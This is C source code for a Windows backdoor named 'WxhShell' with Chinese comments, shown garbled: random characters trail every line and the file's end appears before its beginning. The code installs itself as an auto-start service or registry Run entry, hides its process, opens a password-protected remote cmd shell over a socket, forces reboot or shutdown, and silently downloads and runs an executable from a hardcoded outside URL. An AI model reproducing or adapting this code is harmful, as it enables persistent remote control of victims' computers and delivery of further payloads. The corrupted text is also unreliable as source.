    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =K :(&6f<t  
    if(Boot(SHUTDOWN)) fCB:733H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ml?7Xl,n  
    else { Yj) e$f  
    closesocket(wsh); Xq|nJ|h  
    ExitThread(0); WM/#.  
    } Mec{_jiH&D  
    break; 8 4z6zFv?Q  
    } 2 #KoN8%  
  // 获取shell -&imjy<  
  case 's': { F<5nGx cC  
    CmdShell(wsh); B#]_8svO  
    closesocket(wsh); tVunh3-  
    ExitThread(0); :y\09)CJK  
    break; S."7+g7Ar  
  } I0DM=V>;  
  // 退出 hm3jpWi 8  
  case 'x': { r=qLaPG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yIOLs}!SF  
    CloseIt(wsh); qbXz7s*{  
    break; fE^uF[-7?  
    } job[bhK'Jt  
  // 离开 sAVefL?  
  case 'q': { @&5A&(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4b4QbJ$  
    closesocket(wsh); aM$\#Cx  
    WSACleanup(); eaQ90B4  
    exit(1); f/ajejYo?,  
    break; AliRpxxd  
        } ~n6[$WjZA  
  } ;-Ss# &  
  } 1~'_K9eE  
|q_ !. a  
  // 提示信息 =2,0Wo]$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W<NmsG})_g  
} .B>B`q;B  
  } %,|ztH/ Q  
t^.'>RwW|  
  return; )Pli})   
} M-Y0xWs  
&8sV o@Pa  
// shell模块句柄 k(vPg,X>m  
int CmdShell(SOCKET sock) Zm(dY*z5:J  
{ &EovZ@u  
STARTUPINFO si; Fd7*]a  
ZeroMemory(&si,sizeof(si)); (S oo<.9~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H0a -(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =Y9\DeIZ  
PROCESS_INFORMATION ProcessInfo; pc H<gF(k  
char cmdline[]="cmd"; H] k'?;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jJ~Y]dQi  
  return 0; zE`R,:VI  
} 0+EN@Y^dAV  
Uki9/QiX>  
// 自身启动模式 8Bpip  
int StartFromService(void) .^[_ V  
{ .$ Bwb/a  
typedef struct  ]>Si0%  
{ i[150g?K  
  DWORD ExitStatus; iCTQ]H3  
  DWORD PebBaseAddress; 7yI`e*EOD  
  DWORD AffinityMask; dn,gZ"<  
  DWORD BasePriority; $ D'^t(  
  ULONG UniqueProcessId; WA.AFt  
  ULONG InheritedFromUniqueProcessId; aV>aiR=  
}   PROCESS_BASIC_INFORMATION; .0|=[|  
Q> 8pP\ho  
PROCNTQSIP NtQueryInformationProcess; rGlRAn#?,  
5j{Np,K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R#(G%66   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s /%:dnij  
zX kx7d8  
  HANDLE             hProcess; Sdd9Dv?!  
  PROCESS_BASIC_INFORMATION pbi; 3]U]?h  
!gH 9ay  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~O;y?]U  
  if(NULL == hInst ) return 0; hazq#J!  
Pl+xH%U+?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hVP IHQt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n#*`!#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~|l IC !q  
`qiQ$kz  
  if (!NtQueryInformationProcess) return 0; gUVn;_  
+l?; )  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9`"DFFSMS  
  if(!hProcess) return 0; 0 mexF@  
'{ f=hE_/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S #8 >ZwQ  
jtKn3m7 +p  
  CloseHandle(hProcess); :gI.l1  
a3@w|KLt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lj2=._@R  
if(hProcess==NULL) return 0; 1f4 bt6[  
;/LD)$_  
HMODULE hMod; u+D[_yd^  
char procName[255]; x*}bo))hb  
unsigned long cbNeeded; }!)F9r@\  
0JY WrPR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [VSU"AJY  
EO)%UrWnC  
  CloseHandle(hProcess); +.Bmkim  
&uM^0eM  
if(strstr(procName,"services")) return 1; // 以服务启动 GXX+}=b7qO  
(~s|=Hxq|-  
  return 0; // 注册表启动 f9TV%fG?  
} & ,L9OU  
xx8U$,Ng  
// 主模块 :reTJQwr  
int StartWxhshell(LPSTR lpCmdLine) Z$'I Bv  
{ ]gEhE  
  SOCKET wsl; $-vo}k%M  
BOOL val=TRUE; .L;@=Yg )  
  int port=0; 'C?NJ~MN  
  struct sockaddr_in door; Qw)9r{f  
bJ3(ckhq  
  if(wscfg.ws_autoins) Install(); #c Kqnk  
R,Oe$J<  
port=atoi(lpCmdLine); {6 .o=EyM{  
\cuS>G  
if(port<=0) port=wscfg.ws_port; x<B'.3y  
Yrn"saVc,  
  WSADATA data; Jx|I6 y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HIf{Z* mb  
^O6* e]C$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [-w@.^:]X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nr\q7  
  door.sin_family = AF_INET; v{;7LXy0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Llz[ '"m  
  door.sin_port = htons(port); HDIk9WC^  
Z=+03  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <I=$ry6 8  
closesocket(wsl); cH D%{xlb  
return 1; "uD= KlA  
} ZR3nK0  
lDc;__}Ws  
  if(listen(wsl,2) == INVALID_SOCKET) { . (`3JQ2s  
closesocket(wsl); r;qzo .  
return 1; rwqv V ^  
} 4]XI"-M^D  
  Wxhshell(wsl); :q+N&j'3  
  WSACleanup(); (P@Y36j>N  
or?%-)  
return 0; X K>&$<5{  
:tGYs8UK  
} 61K"(r~  
< {ru|-9  
// 以NT服务方式启动 K5"sj|d&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3|kgTB-  
{ 'BqZOZw  
DWORD   status = 0; (f1M'w/OD  
  DWORD   specificError = 0xfffffff; q<{NO/Mm  
O`W%Tr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H[Weu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g-)mav  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cT'w=  
  serviceStatus.dwWin32ExitCode     = 0; fCUT[d+H  
  serviceStatus.dwServiceSpecificExitCode = 0; ;vp\YIeX1  
  serviceStatus.dwCheckPoint       = 0; SUdm 0y  
  serviceStatus.dwWaitHint       = 0; TEVI'%F  
XutF"9u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]~c+'E`  
  if (hServiceStatusHandle==0) return; Ruaur]  
8{I"q[GZ  
status = GetLastError(); FY#!N L  
  if (status!=NO_ERROR) =@r--E  
{ ?nFO:N<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "mIgs9l$  
    serviceStatus.dwCheckPoint       = 0; zlf} .  
    serviceStatus.dwWaitHint       = 0; mLwY]2T"  
    serviceStatus.dwWin32ExitCode     = status; $H2GbZ-I  
    serviceStatus.dwServiceSpecificExitCode = specificError; M}F~_S0h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }ot"Sx\.  
    return; Nhf~PO({&  
  } dcq#TBo8  
Q~,YbZ-7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w2"]Pl  
  serviceStatus.dwCheckPoint       = 0; --k:a$Nt  
  serviceStatus.dwWaitHint       = 0; 2(#Ks's?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F=wRkU  
} :Jxh2  
 [aW =  
// 处理NT服务事件,比如:启动、停止 3<(q }  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Hwc,j q  
{ \,xFg w4  
switch(fdwControl) eti `O  
{ ae`|ic  
case SERVICE_CONTROL_STOP: ^Udv]Wh  
  serviceStatus.dwWin32ExitCode = 0; ?&c:q3_-Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y{=NP  
  serviceStatus.dwCheckPoint   = 0; -q>^ALf|@>  
  serviceStatus.dwWaitHint     = 0; /g.]RY+u|x  
  { nkY@_N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  i g71/'D  
  } X>l*v\F9  
  return; vzR=>0#  
case SERVICE_CONTROL_PAUSE: PEXq:TA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +V8b  
  break; {]/8skov5]  
case SERVICE_CONTROL_CONTINUE: f} K`Jm_}?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l I-p_K  
  break; (.X]F_ *sc  
case SERVICE_CONTROL_INTERROGATE: ,E*R,'w   
  break; le .'pP@  
}; v%91k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B@K[3  
} (Wj2?k/]  
gRgog*z  
// 标准应用程序主函数 Px;Cg 6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; st\I  
{ u?0d[mC  
O.+9,4A(  
// 获取操作系统版本 "^rNr_  
OsIsNt=GetOsVer(); wyY*:{lZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !~ rt:Z  
:,UN8L "  
  // 从命令行安装 sa#.l% #  
  if(strpbrk(lpCmdLine,"iI")) Install(); #@//7Bf%  
@u9Mks|{  
  // 下载执行文件 XW~bu2%{7"  
if(wscfg.ws_downexe) { /9hR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k onoI&kV|  
  WinExec(wscfg.ws_filenam,SW_HIDE); l (kr'x  
} P:!)9/.2  
\V%_hl  
if(!OsIsNt) { .ER98  
// 如果时win9x,隐藏进程并且设置为注册表启动 N}Vn;29  
HideProc(); _m'ysCjA  
StartWxhshell(lpCmdLine); shFc[A,r}  
} :7b-$fm  
else :`W|h E^  
  if(StartFromService()) bXdY\&fE  
  // 以服务方式启动 wGLF%;rRe4  
  StartServiceCtrlDispatcher(DispatchTable); Dkw7]9Qm  
else SI-X[xf  
  // 普通方式启动 i/qTFQst _  
  StartWxhshell(lpCmdLine); JOfV]eCL  
k W-81  
return 0; L* |1/  
} $@uU@fLB  
+;gsRhWk  
f&I7,"v  
@.$MzPQQI  
=========================================== Y;Y 1+jt  
TSto9 $}*  
.[j%sGdKl  
v'9m7$  
+Ui_ O  
|nxdB&1n  
" |4>:M\h  
"JhimgwvY  
#include <stdio.h> F!g;A"?V  
#include <string.h> dHII.=lT  
#include <windows.h> 2$0)?ZC?=  
#include <winsock2.h> }Ik1bkK  
#include <winsvc.h> 8LrK94  
#include <urlmon.h> `wO}Hz  
7 .+al)hl  
#pragma comment (lib, "Ws2_32.lib") nX[;^v/  
#pragma comment (lib, "urlmon.lib") ZK dh%8C  
N}Q FGX  
#define MAX_USER   100 // 最大客户端连接数 T\sNtdF`:  
#define BUF_SOCK   200 // sock buffer (B#(Z=  
#define KEY_BUFF   255 // 输入 buffer !#WqA9<  
+zO]N&  
#define REBOOT     0   // 重启 .Ff_s  
#define SHUTDOWN   1   // 关机 1f//wk|  
->oz#  
#define DEF_PORT   5000 // 监听端口 m,6h ee  
fl uGf  
#define REG_LEN     16   // 注册表键长度 tOg=zXm   
#define SVC_LEN     80   // NT服务名长度 v\0^mp  
gGfq6{9g  
// 从dll定义API (F&YdWe:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =,:K)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,2zKQ2z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BKb<2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #PAU'u 3{/  
(!</%^ZI  
// wxhshell配置信息 \E hr@g  
struct WSCFG { {;n0/   
  int ws_port;         // 监听端口 DY3:#X`4  
  char ws_passstr[REG_LEN]; // 口令 ,wK 1=7  
  int ws_autoins;       // 安装标记, 1=yes 0=no zSgjp\  
  char ws_regname[REG_LEN]; // 注册表键名 LDQ e^  
  char ws_svcname[REG_LEN]; // 服务名 0XIxwc0Iw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I'InZ0J2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vm}G[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8S>>7z!U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pxplWP,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HdCk!Fv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s[V `e2O  
vLn> 4SK  
}; >q9{  
0k1MKzi Q  
// default Wxhshell configuration z,+m[x=/N  
struct WSCFG wscfg={DEF_PORT, r)B3es&&  
    "xuhuanlingzhe", +by|  
    1, *l!5QG UoK  
    "Wxhshell", 8=4^Lm  
    "Wxhshell", yq6LH   
            "WxhShell Service", E fSMFPM  
    "Wrsky Windows CmdShell Service", Oz>io\P94  
    "Please Input Your Password: ", </ZHa:=7  
  1, 9dYOH)f  
  "http://www.wrsky.com/wxhshell.exe", q/'MS[C  
  "Wxhshell.exe" Au=kSSB  
    }; yJJ8 "s~i  
FsY`nWwg  
// 消息定义模块 A-0m8<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P"Rk?lL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Ynt<S9"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z7q%,yw3N  
char *msg_ws_ext="\n\rExit."; (xUFl@I!  
char *msg_ws_end="\n\rQuit."; eT\p-4b  
char *msg_ws_boot="\n\rReboot..."; { _X#fq0}  
char *msg_ws_poff="\n\rShutdown..."; C yf]`*  
char *msg_ws_down="\n\rSave to "; 3@HIpQM3  
8S=c^_PJ  
char *msg_ws_err="\n\rErr!"; 5KaSWw/  
char *msg_ws_ok="\n\rOK!"; R=86w_  
<PQRd  
char ExeFile[MAX_PATH]; Y_lCcu#OA  
int nUser = 0; Wa/geQE1<  
HANDLE handles[MAX_USER]; mxhW|}_-j  
int OsIsNt; jl@K!=q  
/Mx CvEE  
SERVICE_STATUS       serviceStatus; Te}IMi:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hDb HSZ  
C~_q^fXJt  
// 函数声明 hvcR.f)C>  
int Install(void); Cha?7F[xL  
int Uninstall(void); c#x7N9;"!  
int DownloadFile(char *sURL, SOCKET wsh); p[gAZ9  
int Boot(int flag); ] - h|]  
void HideProc(void); c}\ d5R_L  
int GetOsVer(void); 0gi}"v  
int Wxhshell(SOCKET wsl); auoA   
void TalkWithClient(void *cs); L]NYYP-  
int CmdShell(SOCKET sock); d-i&k(M  
int StartFromService(void); |{!Ns+'  
int StartWxhshell(LPSTR lpCmdLine); :z124Zf  
|vT=Nnu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vT}pbOTh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )w@y(;WJ  
qIk )'!Vk  
// 数据结构和表定义 y|LXDq4Wj  
SERVICE_TABLE_ENTRY DispatchTable[] = #nDL  
{ 5Wl,J _<F  
{wscfg.ws_svcname, NTServiceMain}, 2}@*Ki7  
{NULL, NULL} KK .cDAR  
}; WMA*.$Zi  
M'vXyb%$1  
// 自我安装 LA>dkPB  
int Install(void) r 3?5'S`  
{ m9cj7  
  char svExeFile[MAX_PATH]; ;pCG9  
  HKEY key;  nFVbQa~  
  strcpy(svExeFile,ExeFile); 14;Av{Xt  
'9Qd.q7s|b  
// 如果是win9x系统,修改注册表设为自启动 6yi/&#YM  
if(!OsIsNt) { @Zh8 QI+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y~x`6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a1 _o.A  
  RegCloseKey(key); AF QnCl Of  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q!Msy<v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +Hi{ /{k0N  
  RegCloseKey(key); +*Q9.LjV  
  return 0; " gwm23Rpj  
    } n *Q4G}p  
  } W>VAbm  
} >02i8:Tp5K  
else { Mj,2\ijNM  
e4?<GT   
// 如果是NT以上系统,安装为系统服务 v3 !byN^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = c/3^e  
if (schSCManager!=0) }]Qmt5'NI  
{ }% FDm@+  
  SC_HANDLE schService = CreateService bmSpbX\  
  ( }.w#X   
  schSCManager, dcM+ylB  
  wscfg.ws_svcname, VQ/ <09e  
  wscfg.ws_svcdisp, 0FN~$+t)H  
  SERVICE_ALL_ACCESS, ]Oig ..LJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zww?  
  SERVICE_AUTO_START, R^F7a0"  
  SERVICE_ERROR_NORMAL, !~Ax  
  svExeFile, B44]NsYks~  
  NULL, i:AjWC@]  
  NULL, {lTR/  
  NULL, R,fMZHAG  
  NULL, ~x9 W{B]  
  NULL deHY8x5uI  
  ); oR4fK td  
  if (schService!=0) iRkOH]+K  
  { +D6-m  
  CloseServiceHandle(schService); zvWO4\  
  CloseServiceHandle(schSCManager); zS,%msT^A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 44g`=o@  
  strcat(svExeFile,wscfg.ws_svcname); ^?81.b|qb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Q<8c =f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fwg#d[:u  
  RegCloseKey(key); !tm|A`<g#<  
  return 0; ZY~zpC_  
    } g%Th_=qy  
  } F%Ro98?{  
  CloseServiceHandle(schSCManager); _ +0uju?o}  
} fbi H   
} ".Tf< F  
N}eU.#L  
return 1; Y*h`),  
} c4FOfH|  
}39M_4a&  
// 自我卸载 P6.)P|n7=  
int Uninstall(void) S" I#>^  
{ ,APGPE}I[  
  HKEY key; e2,<,~_K6  
hqwz~Ky}  
if(!OsIsNt) { oxxE'cx{g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5)/4)0  
  RegDeleteValue(key,wscfg.ws_regname); R.^Bxi-UG:  
  RegCloseKey(key); b tr x?k(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,3g]= f  
  RegDeleteValue(key,wscfg.ws_regname); QySca(1tN  
  RegCloseKey(key); FE^?U%:u@  
  return 0; t*ri`}a{v  
  } VO\S>kw  
} {H~8'K-  
} FRs|!\S=  
else { o3(|FN  
A3<P li  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q70YNk}  
if (schSCManager!=0) u0(hVK`":  
{ Q>#)LHX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =1uj1.h  
  if (schService!=0) )dzjz%B)  
  { q? gQ  
  if(DeleteService(schService)!=0) { *NX*/(Q  
  CloseServiceHandle(schService); 6+{nw}e8  
  CloseServiceHandle(schSCManager); ={wjeRp  
  return 0; O(:u(U7e  
  } U)T/.L{0i  
  CloseServiceHandle(schService); JXRmu~W~l  
  } 7J)a"d^e  
  CloseServiceHandle(schSCManager); Nys'4kx7  
} J$eZLj  
} uBd =x<c\  
oPCIlH  
return 1; E Ni%ge'":  
} ijR*5#5h  
@EH4N%fH  
// 从指定url下载文件 PN)TX~}  
int DownloadFile(char *sURL, SOCKET wsh) 4w3V!K8  
{ m+G0<E%  
  HRESULT hr;  9\W5   
char seps[]= "/"; b5iJ m-  
char *token; yx`r;|ds}  
char *file; ]#WX|0''^  
char myURL[MAX_PATH]; JsoWaD  
char myFILE[MAX_PATH]; f;qKrw  
P(W\aLp  
strcpy(myURL,sURL); AyI}LQm]u  
  token=strtok(myURL,seps); r4z}yt+  
  while(token!=NULL) AS/\IHZ\  
  { XV0<pV>  
    file=token; {0m[:af&  
  token=strtok(NULL,seps); E<fwl1<88  
  } JUUF^/J  
IhFw{=2*  
GetCurrentDirectory(MAX_PATH,myFILE); NnSI)*%'  
strcat(myFILE, "\\"); CUTEp/+  
strcat(myFILE, file); } cH"lppX  
  send(wsh,myFILE,strlen(myFILE),0); LI5cUCl  
send(wsh,"...",3,0); ^ZViQ$a"h;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d$G%F$BTs  
  if(hr==S_OK) #,|_d>p:  
return 0; O(WMTa'%  
else tz \:r>3vI  
return 1; EJSgTtp 2  
E6KBpQcd[  
} =[CS2VQ'  
jP{]LJ2.6\  
// 系统电源模块 <:_]Yl  
int Boot(int flag) DIcyXZH<  
{ *U[Q=w  
  HANDLE hToken; PrYWha=c-  
  TOKEN_PRIVILEGES tkp; @"#gO:|[i0  
Wb-'E%K  
  if(OsIsNt) { ,"lBS?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B?zS_Ue  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kgI.kT(=  
    tkp.PrivilegeCount = 1; 1(\I9L&J   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2%No>w}/2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d .lu  
if(flag==REBOOT) { ZkV vL4yIK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }od7YL  
  return 0; r^ Rcjyc1  
} '| Q*~Lh  
else { aDJjVD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <` VJU2  
  return 0; '\vmfp =  
} eVNBhR}HS  
  } t1_y1!u Q  
  else { =dw*B  
if(flag==REBOOT) { ;@;ie8H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B0?@k  
  return 0; gT\y&   
} _xZb;PbFE  
else { :?of./Df|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WaZ@  
  return 0; Fq\`1Ee{  
} J$=b&$I(  
} l8 2uK"M  
/3:IE%o  
return 1; YdL1(|EdM  
} sOtNd({  
6W#F Ss~  
// win9x进程隐藏模块 tFP;CW!E  
void HideProc(void) di P4]/%1  
{ /JY ph^3][  
HW%bx"r+4f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NBR'^6  
  if ( hKernel != NULL ) 4lo}-@j  
  { -,CndRKx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {]^%?]e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sT T455h)  
    FreeLibrary(hKernel); Mm[1Z;H  
  } 8X~vJ^X9@y  
5r}(|86O/  
return; VlXy&oZ  
} L\'qAfRZ  
a9q?9X  
// 获取操作系统版本 gJcL{]  
int GetOsVer(void) tNNg[;0  
{ eOnl s x/  
  OSVERSIONINFO winfo; l4.@YYzbp.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sf&K<C](  
  GetVersionEx(&winfo); lNnbd?D8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Y@|h%1W  
  return 1; f(ec/0W  
  else N#-\JlJ)  
  return 0; :zy'hu;  
} thboHPml{  
nf@u7*# 6  
// 客户端句柄模块 M/`z;a=EP  
int Wxhshell(SOCKET wsl) gJfL$S'w  
{ 8Nq Iz  
  SOCKET wsh; -bX.4+U  
  struct sockaddr_in client; -(,6w?  
  DWORD myID; {mr)n3  
JM4`k8mM  
  while(nUser<MAX_USER) NGD2z.  
{ R$,iDv.jI  
  int nSize=sizeof(client); <cc0phr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0'2{[xF  
  if(wsh==INVALID_SOCKET) return 1; z:,!yU c  
#AnSjl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nU#q@p)Xg  
if(handles[nUser]==0) ^i k|l=  
  closesocket(wsh); ':>*=&  
else q2pao?aa  
  nUser++; 31\^9w__8  
  } QX3![;0F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gQt@xNO  
S; <?nz3  
  return 0; `lOoT  
} u1Yp5jp^K  
rNO;yL4)ey  
// 关闭 socket ;|%JvptwW%  
void CloseIt(SOCKET wsh) 8-lY6M\R\  
{ 0'oT {iN  
closesocket(wsh); *F&&rsb  
nUser--; /Day5\Q#  
ExitThread(0); "x^bl+_"  
} 6-YR'ikU  
E cz"O   
// 客户端请求句柄 N!~NQ-Re'  
void TalkWithClient(void *cs) $yK!Q)e:  
{ *0zH5c  
Y%9F  
  SOCKET wsh=(SOCKET)cs; [63;8l}  
  char pwd[SVC_LEN]; J>PV{N  
  char cmd[KEY_BUFF]; H)+kN'J  
char chr[1]; Jjq%cA  
int i,j; 4!qDG+m  
]}l!L;  
  while (nUser < MAX_USER) { @S92D6  
[]Ea0jYu  
if(wscfg.ws_passstr) { F'*&-l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }O{"qs#)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K),wAZI!7j  
  //ZeroMemory(pwd,KEY_BUFF); 8hp]+k_y  
      i=0; r8.v0b"1  
  while(i<SVC_LEN) { #^V"=RbD  
[DEw:%  
  // 设置超时 +60;z4y}w  
  fd_set FdRead; YR.'JF`C  
  struct timeval TimeOut; F# wa)XH  
  FD_ZERO(&FdRead); YPEd XU8}  
  FD_SET(wsh,&FdRead); A'EA!  
  TimeOut.tv_sec=8; w}b+vh^3Wy  
  TimeOut.tv_usec=0; 0^z$COCv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4UkLvL1x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M3kE91  
mio'm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U8!njLC  
  pwd=chr[0]; =1qkoc~  
  if(chr[0]==0xd || chr[0]==0xa) { sSK$  
  pwd=0; t |hmEHUk  
  break; ')V5hKb^  
  } -y( V-  
  i++; B=Os?'2[  
    } 0]~n8mB>  
.Ps;O  
  // 如果是非法用户,关闭 socket XN;eehB?aE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H!u:P?j@\  
} i=T/}c)  
]FBfh.#X@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c`QsKwa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U\{Z{F%8  
ENzeVtw0  
while(1) { =qvU9p2o  
z wW9>Y  
  ZeroMemory(cmd,KEY_BUFF); Z}wAh|N-  
VJaL$Wv)H  
      // 自动支持客户端 telnet标准   :u0433z:  
  j=0; kuaov3Ui  
  while(j<KEY_BUFF) { Z5=!R$4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [PT_y3'%  
  cmd[j]=chr[0]; Y# #J  
  if(chr[0]==0xa || chr[0]==0xd) { (I5ra_FVs  
  cmd[j]=0; ngjbE+  
  break; M ~IiJ9{  
  } .YkKIei  
  j++; oSoG&4  
    } #a&Vx&7L  
"$&F]0  
  // 下载文件 Yy}aQF#M  
  if(strstr(cmd,"http://")) { +}Pa/8ybJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nvi14,q/  
  if(DownloadFile(cmd,wsh)) =DgD&_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^9nM)[/C?  
  else 2,\u Y}4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &g`a [#  
  } (ni$wjq=z^  
  else { k <qQ+\X  
MqqS3   
    switch(cmd[0]) { a#1X)ot  
  '9)@U+yfQ  
  // 帮助 3kMiC$  
  case '?': { LtQy(F%8/  
